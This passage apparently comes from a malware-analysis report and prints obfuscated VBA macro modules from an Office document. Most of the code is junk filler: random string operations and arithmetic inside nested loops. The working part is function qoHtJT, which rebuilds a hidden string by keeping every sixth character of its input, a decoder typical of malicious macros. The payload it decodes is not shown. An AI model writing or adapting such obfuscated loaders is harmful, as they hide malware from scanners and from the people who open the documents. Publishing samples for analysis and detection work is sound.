        FAlYpRkf = RTrim("XP x  Ku %  )B  WKUb")
        FAlYpRkf = Left("e% ZqU%gU FN^", 5) + LTrim(" ?BLpy# CU@ r ? .")
        yiGMFj = yiGMFj + 1
    Wend

    KOErcCGeGk = UCase("d p kN[wA-pi]I- Jf")
    IXNMiZz = Right(" aT  (Lob ", 5)
    SFvjZDsvuYy = RTrim(" uUoJ Z-q#X")
    HlrctMZ = StrReverse("v bJ )VQMR ") + Left("   ENLhf_v", 4)
    iXELEdRkrc = Space(14) + UCase("#E tZ[E!y RmF")
    WFUoDlzt = Right(" -#r k  WbxPS@ -k.", 4)
    iXELEdRkrc = 423 - 234 - 141
    IheEuJ = 255 - 213 - 145
    

    While cwlyMi < 1
        While VndwSl < 5
            DLBRUCJgqbkB = 303 + 1328 + 726
            WYDVpvpL = 464 - 132 - 291
            aYoAYdFPik = UCase("CFs q  biz. (")
            CLimmygkNcf = 423 - 107 - 394
            TGJKl = Right("&[oV  !u?aAVw", 5)
            CLimmygkNcf = StrReverse("r_KS_r Xkfp^  _ ") + Left("f i% h# . W i E", 4)
            

            

            

            JRIuctM = StrReverse(" hH c!OVIDkiu&  U b") + Left("L Vs)c d  b", 4)
            VndwSl = VndwSl + 2
        Wend

        WfsEJpxTaAt = UCase("Z%j M  z m si")
        IheEuJ = RTrim("ohJj  r]&mEC  ")
        WfsEJpxTaAt = RTrim("Xm Qpuc fFc.V NY")
        cZjiMi = Space(16) + UCase("Gdxj xaSjJ ( [ nA@ ]")
        jUIUcCNiIl = StrReverse("Jee@  %Wh.B^a  y B!") + Left("CKGB]  q  wQg SX", 3)
        rOlUb = 138 - 348 - 261
        FAlYpRkf = 692 + 1361 + 1250
        pceAvQEaeL = Space(4) + UCase("  ( Hl.GFTAE")
        PAFEBTQpNgD = RTrim("[m)Ujl  Zn G")
        cwlyMi = cwlyMi + 1
    Wend

End Sub



Attribute VB_Name = "Module5"

Sub rxnKEX(KUwgZIS As Integer, BcQAqq As Boolean)
    zpCNNFdnzA = Right("( fswTX yME ^NHz& t", 4)
    BWAtvtXEnVy = UCase(" F zRamyG -N)JZRg^[ ")
    nBcpKNQRfbwY = RTrim("Owl& y (rd wepl cEs")
    iVJWIEqQvL = 1036 + 179 + 1810
    jfqDywnj = LTrim("t @ES)t W?!AdA  Z") + RTrim("tXqO# APyv# ")
    nBcpKNQRfbwY = 485 - 204 - 179
    jfqDywnj = LTrim("QDT] awv  ") + RTrim("TE aOnB ]- v_ ")
    zpCNNFdnzA = 310 - 198 - 153
    WrILq = Space(2) + UCase(" UfS)C  ?oc  rpL")
    pXLTBdMz = UCase("w) ( AWn& DRMWv Zl ")
    

    PAFEBTQpNgD = 223 - 298 - 169
End Sub



Attribute VB_Name = "Module6"

Sub QisCpy(jQmBOq As String)
    YHRHEB = StrReverse(")wb.BL  Z]k$(SoE  ?") + Left("W cwN v.hd", 2)
    JRIuctM = Right("?VK %sFa #s!d cn z ", 3)
    KOErcCGeGk = RTrim(" $A_]Adv]mM")
    BWAtvtXEnVy = LTrim(" [ Up$U-DJ]]") + RTrim(" -QOFx&JT) & s$MeF")
    MKJpASY = Space(8) + UCase("YI j%P  m% wQLNmX p")
    shSmgrB = 215 - 498 - 428
    aFSGcgt = 127 - 329 - 249
    shSmgrB = 410 - 234 - 349
    MKJpASY = Right("^ ]  B^COzNM", 3)
    JRIuctM = Left("RkmY  ^X% HZmGOEcY", 3) + LTrim("b& f!rWMm  e fWlm")
    WrILq = LTrim("$ ) RQ  A U_x [sYz") + RTrim("j]b XP#BwNv")
    TGJKl = UCase("$VH  &f  %? h# v!.Z")
    iVJWIEqQvL = RTrim("NNDR_#@F n % t)w  SP")
End Sub



Attribute VB_Name = "Module7"

Function qoHtJT(XWjMLMb As String) As String
ZUqotkuFV = LTrim("R& lkB_il?eUYn@b HWd") + RTrim("v  .t #Y.qym")
While GaVowQ < 3
    For fVpuzX = 1 To 5
        zpCNNFdnzA = 1852 + 140 + 1141
        PAFEBTQpNgD = LTrim("%  - kvJo c") + RTrim("Nni TDzw!DXT L x G ")
        FAlYpRkf = Left(" %UAn A !]OLg%q[i_", 3) + LTrim("   CJ?NmTIJx")
        IhSuKPtzz = RTrim("!vkYw mmZ ")
        QHvXHrnC = 398 - 295 - 218
        mtgXHBsqdB = StrReverse("RuH cWgoOE  OCe$@n&") + Left(" u )s]sfJL O]I .& ", 4)
        aYoAYdFPik = Left("m WY  v sX X Dq  Apx", 3) + LTrim("a -FqJTu  .")
    Next fVpuzX

    uFIrnZBWEd = StrReverse(" JD aLm b Vea") + Left("Z-ANEG% MAhQ$VfX a_", 2)
    iVJWIEqQvL = 938 + 1864 + 1609
    

    fSbgSFKPcZ = Space(14) + UCase("&t^ w t-x  p")
    shSmgrB = 121 - 390 - 370
    IXNMiZz = Left("tn ^QHU%@% P(xG fCeY", 4) + LTrim("  %uzlq@S!dOuZxC$")
    iVJWIEqQvL = UCase("WV mfdjZ.d_t hQhxu A")
    eTlKKJlnXYD = 299 - 281 - 342
    SFvjZDsvuYy = LTrim("l IS xehkZ e") + RTrim("Cx@ ]S-dfpZ")
    GaVowQ = GaVowQ + 1
Wend
MKJpASY = RTrim("@Z?YIUEqC     E!r")
mxAbDBEqMJFQ = LTrim("[ j U$ NR   ") + RTrim("^ e a ea wFM&nWlcN F")
QHvXHrnC = Space(7) + UCase("#T v@. HV&")
nBcpKNQRfbwY = StrReverse("  YVu.rWJk  ETK") + Left("jTRgpIni&vp-jeSC  Dn", 4)
BvUKAsQKDM = Left("a bq hcDT $E) mQh !", 4) + LTrim("k[uw.^!_BD)z")
    Dim effHvw As Integer
    CLimmygkNcf = RTrim("f Xrjz zHd]goXS ")
    IXNMiZz = RTrim("Tvbb gg -&")
    aYoAYdFPik = Left("?_xg) cZRkD Zq Xe W ", 2) + LTrim("SYNOUZ?fmQ (")
    eTlKKJlnXYD = UCase(" k P) G otc-")
    IXNMiZz = UCase("q(]YyZ M  T UV  TN")
    ZUqotkuFV = UCase("Sazjp eYc[__U")
    BvUKAsQKDM = LTrim("  qZ&J s-# m &ZE") + RTrim(" Kw?)BsqMh xG ms U")
    iXELEdRkrc = 658 + 824 + 616
    Dim zxHDwpmu(1029) As Byte
    pXLTBdMz = LTrim("VmNZGD&OriyiX") + RTrim("MiKk   l X ea?w z")
    VvHFiAMxWPhD = RTrim(" c  Zo-E %D @")
    iXELEdRkrc = UCase("IEnAIy Tv hXgH_ ]f%Z")
    ZUqotkuFV = LTrim("i oP?sh  &NH") + RTrim("J$fN mX #   yum r #A")
    QHvXHrnC = Left(". zG rVs!Lj", 3) + LTrim("K QuyRm Py")
    aeYddvPjYb = LTrim("fcM AJ uvHpS^@?") + RTrim("Fn PcKd  c&-n ^hYjT ")
    cZjiMi = 1389 + 1239 + 1001
    FAlYpRkf = Right("v SH&MY[. ocx-  FF_", 3)
    Dim YhXpY() As Byte
    While QvUNTY < 5
        While ykTFow < 5
            eTlKKJlnXYD = Right("ze   %Kg JalJJM..J ", 3)
            DLBRUCJgqbkB = 692 + 1633 + 1181
            pwzHJoCv = LTrim("d   DXvWu_!q( b") + RTrim("Lt tXwb@  uM_AfO")
            JRIuctM = Space(6) + UCase(" s WRk XS& l^  r")
            iVJWIEqQvL = UCase(".M h!#  dOE")
            shSmgrB = Left(" !$Zf.gnU  ", 4) + LTrim("lKaqQT?  [X&c TwE]x")
            

            aYoAYdFPik = StrReverse("w Kyg JNIjT BajiW- ") + Left("Ls G)W dT ^ P", 3)
            

            shSmgrB = 452 + 438 + 657
            ykTFow = ykTFow + 2
        Wend

        jUIUcCNiIl = RTrim("ADZc#) k c Rxpq")
        WYDVpvpL = RTrim("LS @p  bvz w_!-")
        TTTNTTrZl = 390 - 267 - 196
        MWTKsNe = Left(" eo?# h Dd %akndSBw", 2) + LTrim("qFIg( XjNST")
        jfqDywnj = 446 - 371 - 474
        WYDVpvpL = 1195 + 1637 + 1515
        XRRfEJH = Left(" u.K% JKl@Bs k .", 4) + LTrim("Vgp ).l.HIkvy  E")
        BvUKAsQKDM = Left("W_O@ ROmQGzCiL yXE", 2) + LTrim("IZ ? u ap&&LTv  L")
        PAFEBTQpNgD = RTrim("(_F.   W D p?Au]G& ")
        QvUNTY = QvUNTY + 2
    Wend
    

    shSmgrB = Space(14) + UCase("L# PiYdeeKy Nm$y")
    FAlYpRkf = RTrim(" A  DB !! PWpu ")
    nBcpKNQRfbwY = LTrim("w CZjkB h bZuNX ] sg") + RTrim("QPQSxf_   ")
    zpCNNFdnzA = LTrim("Pf(kQ PoTb ") + RTrim("p$& yeBa. M rV@Ob%")
    fSbgSFKPcZ = Right(") F  Wz T]  K", 4)
    oalvyHJrWGU = RTrim("L)  QYo( LnSd[  n m%")
    For dIHwIk = 1 To 2
        While guFJQo < 4
            pwzHJoCv = Left(" QyfaCNT& NWH", 5) + LTrim("@bp# -K  Eh")
            SFvjZDsvuYy = 199 - 355 - 218
            SFvjZDsvuYy = StrReverse("h S  z g@Z KCz grX") + Left("nN@MjDG%)hs v lX", 5)
            MKJpASY = StrReverse(" eNnsgW_ @ a[@B ") + Left("uef^ E t  U  Aa@clT ", 5)
            XRRfEJH = Space(20) + UCase("ZTzMYhB  ( R.")
            FAlYpRkf = Left("D  bF  lEQ  _b", 4) + LTrim("Kdk^   emv  ")
            QHvXHrnC = UCase(".QG#Rbfwj e$% Lkp")
            fSbgSFKPcZ = UCase("jF!ll t &z Jp IRf")
            iXELEdRkrc = LTrim(" V %i nq.t n-S[ hz) ") + RTrim("l (p  CDReI@CneUP")
            guFJQo = guFJQo + 1
        Wend

        VvHFiAMxWPhD = LTrim(" xIh) p) A") + RTrim("c ?d Y .@^b X D.a-")
        zpCNNFdnzA = UCase("nYGA t [  .A OTZ]dr")
        TGJKl = Right("bLW OK&yhY@ AT!PLXW", 2)
        WYDVpvpL = LTrim("U! P j.rP g  ") + RTrim("  FjvaFz^VnB) ( KNqn")
        eTlKKJlnXYD = RTrim(" -_  JKoOfs.w Q Y")
        VvHFiAMxWPhD = Right("jrAXh B^YaIzDV m ", 5)
        

    Next dIHwIk

jfqDywnj = Space(12) + UCase("Y %e-tec S]]W$GC Uf")


WFUoDlzt = StrReverse("R$-hrI O_ fB  [CznOI") + Left("g[ DNeY G sz)NO", 2)


MWTKsNe = Right("G$M)qw -#V-YO&U", 5)
    effHvw = 0
    For FEKJGB = 1 To 10
        

        gCxQRMkqg = StrReverse(" QczDrwCa  t Zp m") + Left("KqooGqxW ]J y]OJ j", 2)
        HlrctMZ = Space(10) + UCase(" ycRMxa X XRFxm @sA")
        eTlKKJlnXYD = LTrim("fs kSkCDb)S ZmI bvYA") + RTrim("KmN&(w^- s @OVY zs  ")
        KOErcCGeGk = Left("gDYYC@ aT)  ", 2) + LTrim("c)(( CGv  CSTkR ")
        MWTKsNe = Left("s%vvb f a  ", 4) + LTrim("%z  YP  y?aiB")
        iXELEdRkrc = 197 - 340 - 488
        aYoAYdFPik = Right("X- a r Ml# )O^C  v", 3)
        QHvXHrnC = 781 + 1272 + 449
    Next FEKJGB
    For yBIplG = 1 To 10
        gCxQRMkqg = Right("%%x D R U eg", 4)
        CLimmygkNcf = UCase(" i MVqz  E# vI x")
        WfsEJpxTaAt = Right("gXx k wr NDVcR ", 2)
        WFUoDlzt = 217 - 298 - 184
        eTlKKJlnXYD = LTrim("H.y x vprq] -?dHZ") + RTrim("I b)Z#J@Fwo")
        nBcpKNQRfbwY = UCase(" nmBBV^SRgk%EIBzo")
        WFUoDlzt = StrReverse("O#p @m QEj^ Y") + Left("[t$$le K] ZWj EZKFU", 3)
        JRIuctM = LTrim(" I   )nNAP[ ^  Bep -") + RTrim("%cjc T Sa  it ?J")
    Next yBIplG
    WFUoDlzt = Space(4) + UCase(" fB UD Y&g")
    YHRHEB = 598 + 849 + 393
    WrILq = Right("  t) #g  E !U!", 5)
    oalvyHJrWGU = RTrim("dI#kd o Pq  r")
    YhXpY = StrConv(XWjMLMb, vbFromUnicode)
    rOlUb = RTrim("py   bF  r Rq")
    CLimmygkNcf = 171 - 288 - 382
    zpCNNFdnzA = UCase("QRJuJ  @@RJvBKBv? G")
    

    oalvyHJrWGU = 201 - 130 - 235
    CLimmygkNcf = UCase(" ? X     .  wVt#Yu")
    For GfgXtb = 1 To 2
        While TLnFDy < 1
            pwzHJoCv = 1367 + 894 + 1718
            

            WfsEJpxTaAt = RTrim("R mwVsoD d  N_")
            aeYddvPjYb = Space(14) + UCase(" %B Y_N w hKriU(x ")
            iVJWIEqQvL = LTrim(" sHe Q? d& W l ") + RTrim(" (a $rq $n.#Ggn^R ")
            QHvXHrnC = Left("I KK z$xKzq zh n", 4) + LTrim("EER Q d)qZ")
            fSbgSFKPcZ = StrReverse("qP zFg(D^H  $XV^tH&") + Left("K l[y!OSE MGXGAvt", 3)
            KOErcCGeGk = Left("] Q P? nRX", 2) + LTrim("jUNC?QA U TCs ")
            gCxQRMkqg = StrReverse("k!H^-[ #  G -?B_$v [") + Left("LiuKH_# l@ ", 2)
            TLnFDy = TLnFDy + 1
        Wend

        aeYddvPjYb = UCase(" W! jT   k")
        WfsEJpxTaAt = StrReverse("vR    i$t-B]i[ Q") + Left(" J  ]m%d ?Z b  A", 5)
        IXNMiZz = 1687 + 929 + 514
        pceAvQEaeL = Space(1) + UCase(" Or-   no  BJo[ ")
        uFIrnZBWEd = Right(" dIq i@(e q]HvG", 4)
        shSmgrB = Left(" OT U]r    ", 3) + LTrim("Mmqlkt[]kB")
    Next GfgXtb
    KOErcCGeGk = Left(" XT #p %Thv ", 2) + LTrim("Cn%(qdeS M$SJq& ")
    WYDVpvpL = RTrim(" yC$D(c Y.")
    For vRtrSh = 0 To UBound(YhXpY) - 1
    gCxQRMkqg = Left("dbPEoMVs) ZUx", 3) + LTrim("So?T((Gh VD ^tsPf")
    cZjiMi = RTrim("E ( qDshwY NM  Y (W")
    IhSuKPtzz = UCase(")]x %J  ( #PJ I &)")
    WYDVpvpL = Left("(Yn #$k   wO", 5) + LTrim(" b--E&bx@Tq ")
    FAlYpRkf = 175 + 227 + 799
    WrILq = StrReverse("qo eKyxW]?a? ct ju") + Left("@mv@@a^k?O oBgUv", 5)
        If (vRtrSh Mod 6 = 0) Then
        BvUKAsQKDM = Right("!] WTEwYRVfsqx% ", 5)
        For TBqNrk = 1 To 8
            mxAbDBEqMJFQ = 369 - 436 - 104
            aeYddvPjYb = Right("jKp.%  W Cbp !qP(DY", 5)
            pwzHJoCv = 112 - 411 - 359
            WYDVpvpL = LTrim("UyapNax%HItw) Dv E P") + RTrim(" yx.Ne  O-% Y Yx LrA")
            eTlKKJlnXYD = LTrim("e[  Id   _") + RTrim(" U%OLJSD R YCjMHj")
            uFIrnZBWEd = RTrim("! v _yan( %  gJx )%")
        Next TBqNrk
        While dakEny < 2
            While kaTRhm < 2
                QHvXHrnC = UCase("&qaoC(sL_.c Pp")
                XRRfEJH = Space(18) + UCase(" o .UOo Xb ![mI")
                zpCNNFdnzA = 995 + 677 + 336
                CLimmygkNcf = 318 - 296 - 431
                MKJpASY = RTrim("efI  w WMtVqvI")
                XRRfEJH = LTrim("owPw)R Y_GK&WF") + RTrim("Kn    GCQ-x  jJhr")
                DLBRUCJgqbkB = 231 - 331 - 491
                WFUoDlzt = 1664 + 1490 + 1325
                kaTRhm = kaTRhm + 2
            Wend

            

            pXLTBdMz = RTrim("NR  S ([MkXWsLl iYZ ")
            

            mxAbDBEqMJFQ = UCase("kp$rz$-L  ZbyH ld ")
            FAlYpRkf = 173 + 144 + 962
            dakEny = dakEny + 3
        Wend
        WfsEJpxTaAt = RTrim("fTyY(wz %J d q RfTyJ")
        For NAQrUa = 1 To 5
            JRIuctM = Right("  i NihFC ", 3)
            

            FAlYpRkf = 448 + 411 + 688
            iXELEdRkrc = RTrim(" oHuDIeaxOK  ]%tkQ")
            MKJpASY = Right("^ migCeWX $Jjp  daT", 2)
            PAFEBTQpNgD = Space(20) + UCase(" tDGCR %W  QzbfSr ")
            IhSuKPtzz = UCase("]K r  E^HFL  .q  Q")
            BvUKAsQKDM = 438 - 487 - 217
            zpCNNFdnzA = Left("Cwy)CBN#% Yq", 2) + LTrim("Nmp  p  y  ? Epx")
        Next NAQrUa
        aYoAYdFPik = RTrim(" -Kz$$rO$u")
        gCxQRMkqg = RTrim("iA ^TsG  Nc")
        While JMkdrH < 4
            For fJEhIC = 1 To 8
                WYDVpvpL = UCase("KhA?.NY Aut")
                mtgXHBsqdB = UCase("A& s(C(CasM")
                

                uFIrnZBWEd = Left("YQeW Zmvr s$Kv&N y A", 2) + LTrim("?@gU?xS Jwo")
                shSmgrB = LTrim(" E DV$ -@ v Olg ] s") + RTrim("% rS  qQ y AZ(  wwH#")
                XRRfEJH = RTrim("r[ c VAB  N ( O @@")
                aeYddvPjYb = LTrim("  pw -aK!Q#q$sT^t g") + RTrim("EWhf rDd. FX J")
            Next fJEhIC

            MKJpASY = StrReverse("HNA T CR  K HN") + Left(" E fpHQ] X--", 2)
            WfsEJpxTaAt = RTrim("Cf EFvmcdH  AL")
            aeYddvPjYb = RTrim("?pwp  fJL[@O^! W ")
            JRIuctM = Space(19) + UCase("%Uss]p!]Ig  a)")
            TTTNTTrZl = StrReverse("lgV cmtlN-H$q[ kN  n") + Left("OmaI)&k y C", 4)
            IXNMiZz = StrReverse("g h&j-.Xuk q[#f ") + Left("zezqt wZo(", 5)
            JRIuctM = UCase(" n[TAELr& jU?  ")
            IheEuJ = Right("h nAl   jNfBmInI", 3)
            XRRfEJH = LTrim("#& ZaY I  $tc@") + RTrim("fc k K&FHE  !n&Y ckA")
            

            JMkdrH = JMkdrH + 2
        Wend
        

        YHRHEB = Space(12) + UCase(" F ^HARy^@ L$Zj")
            zxHDwpmu(effHvw) = YhXpY(vRtrSh)
            aFSGcgt = RTrim("m_T Ty co)#OW f(c [_")
            gCxQRMkqg = 450 - 498 - 100
            VvHFiAMxWPhD = StrReverse(" & g  -s-bgx") + Left("Et  s(HMHC[Z$  B", 2)
            iXELEdRkrc = Left(" WZt  ) p C", 5) + LTrim("aMiNn$ SaxN$uF[$?HI")
            oalvyHJrWGU = Left("N#&yRp    & $a", 2) + LTrim("fc) kJXnQ .T")
            effHvw = effHvw + 4 - 4 + 1
            XRRfEJH = 687 + 606 + 1784
            IXNMiZz = UCase("M$# D$I( %cC j NZwAl")
            

            WYDVpvpL = RTrim("p_EGd    I#yU#]QY?")
            DLBRUCJgqbkB = Space(13) + UCase(" kLh(m#w L ")
            WrILq = StrReverse("fS[^f CDNonpc ]") + Left("  TaZw$Ny @k e   %&", 2)
            BWAtvtXEnVy = StrReverse("@j.OS ifkXT]") + Left("J nr[m QSs", 3)
        End If
        nBcpKNQRfbwY = Space(4) + UCase("SBu%EH]JDt kSD[ r")
        yyxjxtk = Space(16) + UCase("_K_$S?soX^@ OQ")
        zpCNNFdnzA = RTrim("fFy-sevWf$xvQyJ")
        pXLTBdMz = UCase("U  np p^    CV@ qg ")
        

        oalvyHJrWGU = Space(5) + UCase(" EeaA H)o)D&mMg(B#e ")
        WrILq = 124 - 278 - 313
        mtgXHBsqdB = RTrim("O vRiE oU &GO_!")
        OgVHJX = Left("_l PdG(m!G  oy", 3) + LTrim("cKy BDPX #[ _")
    Next vRtrSh
    fSbgSFKPcZ = UCase("KotIHvuCQt. ")
    ZUqotkuFV = LTrim("JX&A# Rd hlfP dIK@") + RTrim(" v&P.  V Lz   ")
    While alGJMH < 4
        YHRHEB = Space(20) + UCase("!t J! nI Tx]# ")
        BvUKAsQKDM = RTrim("& B P?I ^G ")
        BvUKAsQKDM = UCase("Kq  eOg_An# ")
        IXNMiZz = Left("Kbr#vW LQS i ", 3) + LTrim("]F_s Fo&  dJMaOTeD M")
        YHRHEB = StrReverse(".(CxJ$X qH  w  f& B") + Left(" H)EBAzNT ^l", 3)
        

        aFSGcgt = LTrim("oGd( u  fuSk Rj#bH .") + RTrim("S  uS g LsA) SJ!")
        alGJMH = alGJMH + 1
    Wend
    iXELEdRkrc = Space(13) + UCase("m  HlVY  o tpn$")
    While UmHsNP < 2
        For fQwemL = 1 To 6
            IXNMiZz = Left("URW mwZDUpLCou Y", 2) + LTrim("Cx ]  ZPG?)wv WyZ")
            YHRHEB = 396 - 190 - 454
            pceAvQEaeL = 129 - 314 - 320
            mtgXHBsqdB = 1735 + 328 + 1723
            DLBRUCJgqbkB = RTrim("b) r qlwUNnI")
            shSmgrB = Right(" AlHocfQpls", 4)
            BvUKAsQKDM = Space(9) + UCase("A(Ld d. H  ")
            TGJKl = 290 - 351 - 321
        Next fQwemL

        IXNMiZz = LTrim(" k_WU%.u PDC#rNm") + RTrim("ik V  MDQjH  WCd^hJ]")
        ZUqotkuFV = Left("i $j&%_$Jz_ ", 5) + LTrim("yGS?Q#D  )GAVN B!")
        fSbgSFKPcZ = Right("C  b( cY.     NC$&l", 5)
        pwzHJoCv = UCase("BgbWu]. uGq")
        gCxQRMkqg = Right("F  U!&ml  -N  ynl", 5)
        UmHsNP = UmHsNP + 1
    Wend
    eTlKKJlnXYD = RTrim(" CZ AbZB  pm) #pyYIX")
    KOErcCGeGk = 299 - 464 - 324
    

    MWTKsNe = Left(" kbARm _Iq  wr  X.D", 3) + LTrim("J lr H  D(")
    qoHtJT = StrConv(zxHDwpmu, vbUnicode)
    For KzTOKW = 1 To 5
        BWAtvtXEnVy = LTrim("Um ppAY-wm)") + RTrim("  PuuVaGGboEj")
        FAlYpRkf = Right(" rAqyaDT$ Vgk P.", 3)
        DLBRUCJgqbkB = LTrim("vJ@jyMc&  ") + RTrim("!swsUmV P xsl[Kl q")
        CLimmygkNcf = StrReverse(" ol )J%-e cCup") + Left("y.&wMijfPbG oHX Uxa ", 2)
        OgVHJX = Right("Tn^a  E?) FA   YIN T", 4)
        XRRfEJH = RTrim("- WKrFK$hK m. Dr")
        

        VvHFiAMxWPhD = 1982 + 1573 + 1538
    Next KzTOKW
    

    aYoAYdFPik = Right(" -z vP hj .ev#JGw)", 5)
…

Open this report in the interactive analyzer, or submit your own file for analysis.